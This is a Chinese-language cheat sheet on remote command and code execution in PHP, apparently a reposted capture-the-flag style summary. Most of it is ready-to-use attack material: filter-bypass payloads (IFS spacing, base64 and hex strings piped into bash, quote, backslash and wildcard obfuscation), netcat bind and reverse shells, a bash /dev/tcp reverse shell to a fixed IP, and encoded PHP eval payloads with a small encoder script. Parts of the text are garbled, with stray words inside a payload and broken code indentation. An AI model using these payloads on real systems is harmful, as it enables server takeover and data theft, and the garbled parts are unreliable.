远程命令代码执⾏漏洞(RCE)总结
介绍
Command Injection,即命令注⼊,是指通过提交恶意构造的参数破坏命令语句结构,从⽽达到执⾏恶意命令的⽬的。PHP命令注⼊攻击漏洞是PHP应⽤程序中常见的脚本漏洞之⼀。
当应⽤需要调⽤⼀些外部程序去处理内容的情况下,就会⽤到⼀些执⾏系统命令的函数。如PHP中的system,exec,shell_exec等,当⽤户可以控制命令执⾏函数中的参数时,将可注⼊恶意系统命令到正常命令中,造成命令执⾏攻击。
漏洞危害
继承Web服务器程序的权限,去执⾏系统命令
继承Web服务器程序的权限,读写⽂件
反弹shell
控制整个⽹站
甚⾄控制整个服务器
PHP命令执⾏函数
1. system() :
原型:string system ( string $command [, int &$return_var ] )
与passthru的基本相同,但是system返回结果并且输出。(查看system和pssthru的返回值可以看出)
2. shell_exec():
shell_exec — 通过 shell 环境执⾏命令 ( 这就意味着这个⽅法只能在 linux 或 mac os的shell环境中运⾏ ),并且将完整的输出以字符串的⽅式返回。如果执⾏过程中发⽣错误或者进程不产⽣输出,则返回 NULL。
是反撇号 (`) 操作符的变体.
3. exec():
原型:string exec ( string $command [, array &$output [, int &$return_var ]] )
exec执⾏command命令,但是不会输出全部结果,⽽是返回结果的最后⼀⾏,如果你想得到全部的结果,可以使⽤第⼆个参数,让其输出到⼀个数组,数组的每⼀个记录代表了输出的每⼀⾏,如果输出结果有10⾏,则数组就有10条记录。所以如果你需要反复输出调⽤不同系统外部命令的结果,你最好在输出每⼀条系统外部命令结果时清空这个数组,以防混乱。第三个参数⽤来取得命令执⾏的状态码,通常执⾏成功都是返回0
4. passthru():
原型:void passthru ( string $command [, int &$return_var ] )
与exec的区别:passthru直接将结果输出,不返回结果,不⽤使⽤echo查看结果。
命令执⾏的⼀些绕过技巧
空格被绕过
< 、<>、%09(tab键)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以⽤{} ⽐如 {cat,flag}
关键字绕过
1.URL编码绕过
关于$_SERVER['QUERY_STRING'],他验证的时候是不会进⾏url解码的,但是在GET的时候则会进⾏url解码,所以我们只需要将关键词进⾏url编码就能绕过。
2.Base64编码绕过
echo MTIzCg==|base64 -d    其将会打印123        //MTIzCg==是123的base64编码
echo "Y2F0IC9mbGFn"|base64 -d|bash      将执⾏了cat /flag        //Y2F0IC9mbGFn是cat /flag的base64编码echo "bHM="|base64 -d|sh              将执⾏ls
3.Hex编码绕过
echo "636174202f666c6167"|xxd -r -p|bash    将执⾏cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")        执⾏cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0      执⾏cat /flag
4.Oct编码绕过
$(printf "\154\163")      执⾏ls
5.偶读拼接绕过
ip=127.0.0.1;a=l;b=s;$a$b
ip=127.0.0.1;a=fl;b=ag;cat /$a$b;
6.内联执⾏绕过
echo "a`pwd`"          #输出a/root
ip=127.0.0.1;cat$IFS$9`ls`
7.引号绕过
ca""t  =>  cat
mo""re  =>  more
in""dex  =>  index
ph""p  =>  php
8.通配符绕过
假设flag在/flag中:
/?url=127.0.0.1|ca""t%09/fla?php如何运行代码
/?url=127.0.0.1|ca""t%09/fla*
假设flag在/中:
/?url=127.0.0.1|ca""t%09/fla
/?url=127.0.0.1|ca""t%09/fla*
假设flag在/中:
/?url=127.0.0.1|ca""t%09/fla??/fla
/?url=127.0.0.1|ca""t%09/fla*/fla*
9.反斜杠绕过
ca\t  =>  cat
mo\re  =>  more
in\dex  =>  index
ph\p  =>  php
n\l  =>  nl
10.[]匹配绕过
c[a]t  =>  cat
mo[r]e  =>  more
in[d]ex  =>  index
p[h]p  =>  php
⽆回显的命令执⾏
NetCat ⼀句话反弹Shell
获取shell(想反弹谁的shell就在谁的后⾯加-e /bin/sh或-e /bin/bash来进⾏重定向)
**正向shell:**客户端主动连接服务器并获取服务器shell
客户端主动连接并得到反弹shell
nc 服务端ip 8888
服务端监听连接
nc -Lvp 8888 -e /bin/sh
# windows上:nc -lvp 8888 -e c:\windows\
**反向shell:**服务器端连接并反弹shell给客户端
客户端监听
nc -Lvp 8888
服务端连接客户端
nc 客户端ip 8888 -e /bin/sh
# windows上:nc ip 8888 -e c:\windows\
Bash反弹shell
攻击机
nc -lvp 2333
受害机
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
PHP代码执⾏函数
代码执⾏漏洞与命令执⾏漏洞具有相通性。
利⽤系统函数实现命令执⾏,在php下,允许命令执⾏的函数有:
eval()、assert()、preg_replace()、**${}**等等,以后遇到在继续补充。
如果页⾯中存在这些函数并且对于⽤户的输⼊没有做严格的过滤,那么就可能造成远程命令执⾏漏洞。
注意: ${}执⾏代码(在 双引号 中倘若有${}出现,那么{}内的内容将被当做php代码块来执⾏。)
⽅法:${php代码}、
思维导图:
1.  ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo                        //${_GET}{%ff}();&%ff=phpinfo      $a=${a} $array[0]=$array{0}    php>5
2.  (~%8F%97%8F%96%91%99%90)();              php>7(解析⼩括号内)
3.⽆参函数的RCE:
payload:eval(hex2bin(session_id(session_start())));    PHP<7较稳定
注:异或/取反部分只能是像函数名这样的字符串
#输出text取反并url编码
def test1(text):
result = ''
for i in text:
temp = hex(int(ord(i))^0xff)
temp = str(temp).replace('0x','%')
result += temp
print(result)
参考:

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。